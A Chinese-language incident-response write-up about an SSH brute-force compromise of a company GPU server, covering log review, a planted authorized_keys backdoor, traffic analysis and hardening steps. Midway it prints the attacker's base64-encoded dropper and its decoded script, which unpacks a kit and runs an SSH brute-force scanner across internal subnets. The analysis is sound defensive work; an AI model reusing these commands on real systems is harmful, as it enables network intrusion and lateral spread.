在威胁情报中心查询这个IP,显示有DDOS攻击和SSH攻击
服务器为公司内部的一台GPU服务器,服务器操作系统 Ubuntu 18.04.3 LTS,平时只做测试用,对外开启了SSH端口,做了一些基本的安全设置,比如禁止root用户远程登录,普通用户登陆通知等。但由于服务器属于多人使用,创建的非root用户,可能存在用户弱密码。
公司基本网络拓扑情况
1.在上面运行挖矿程序,消耗CPU、GPU、内存和网络带宽
2.被当作肉鸡去攻击外网的服务器
3.被当作肉鸡入侵内网的其他服务器和主机,造成一系列的横向威胁
4.系统遭受破坏,服务器数据丢失
收到告警通知后,立即登录到服务器查看情况,发现服务器CPU内存网络带宽暂时都是正常的,没有出现高利用率,但是发现服务器历史登录记录,历史命令和/var/log/messages都被清空了,显然黑客具备一定的反侦查意识。
使用lastb命令查看登陆失败的操作,发现有很多国外IP在尝试登录这台机器的ssh,应该是在暴力破解服务器密码。
由于告警通知上面登录用户是zb, 因此zb用户的密码应该是被破解,而且黑客成功使用zb用户登陆进入了ag的服务器。ag查看zb用户运行的进程,发现了异常进程,这里黑客是通过base64编码传递shell命令(应该是为了逃避规则引擎的检测)
bash -c sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash
通过base64解码得到机器运行的是一些shell命令
#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
rm -rf .X2*
mkdir .X25-unix
cd .X25-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X25-unix/.rsync/c
nohup /tmp/.X25-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X25-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X25-unix/.rsync/initall 2>1&
exit 0
可以看到,黑客在机器上解压了一个包,运行了一些程序,在/tmp下面也能找到留下的程序,但是有可能是由于下载不完全,压缩包损坏了,只解压出来一部分的程序,install的命令运行失败了导致最终木马程序是没有执行起来的。这个时候已经发现了服务器被入侵,ag及时进行了处理,黑客程序还没有起来的情况下,这台主机的外网连接被ag切断了,停掉了所有异常的进程。
同时,ag通过人工排查发现,在服务器的zb用户的家目录 /home/zb/.ssh/authorized_keys这个文件里面被添加了公钥,留了后门,这种情况下,以后黑客就可以实现免密码登录ag的服务器。这个文件的修改时间刚好是入侵的时间。
因为这台机器只有一个SSH的端口映射在公网上,所以黑客应该是从SSH登录进系统然后下载并运行了程序,怀疑是因为zb这个用户的密码比较弱,被黑客字典破解了。
至于木马文件是怎么下载到机器上面来的,初步判断应该是通过scp,因为scp是加密的,如果用wget curl之类的有可能会被防病毒设备检测到,通过后面的会话记录查看192.168.4.144这台机器和外部的连接也只有ssh协议。
把服务器上黑客留下的程序用杀毒软件扫描,杀毒软件报木马程序。
查看这台机器的外联IP情况,发现有很多国外的IP在连接这台机器的SSH端口
这一条就是当时黑客登录系统的SSH连接,因为payload大小有3M多,可推测在传输后台木马的文件到入侵了的服务器。
通过流量分析系统的流记录可以看出这一段时间内与192.168.4.144通信的都是外部的IP,而且都是ssh的应用,没有其他的应用,说明黑客是直接通过SSH入侵的这一台服务器,不是内部其他服务器入侵,也不是通过其他的应用。
扫描发现该服务器对局域网开放了三个端口,两个SSH的端口,一个SMTP的端口,但是对外网只开放了一个SSH的端口。
发现了一个25端口的中危漏洞,并未发现SSH服务的漏洞,黑客应该不是利用这个漏洞入侵的。那就只能是通过SSH暴力破解进入的服务器。
服务器禁止用户设置弱密码,设置复杂用户密码策略,及时清理不使用的用户,和用户组(可以指定密码策略)。
禁止root用户登录,普通用户如有需要使用sudo执行。
通过第三方防护应用来防止ssh暴力破解(denyhosts,fail2ban可以实现连续输错密码几次就把IP列到黑名单,一段时间后自动移出黑名单)。
使用密钥登录,修改服务的默认端口,使用不常用端口。
定期加固系统,实时更新系统版本和运行的软件版本。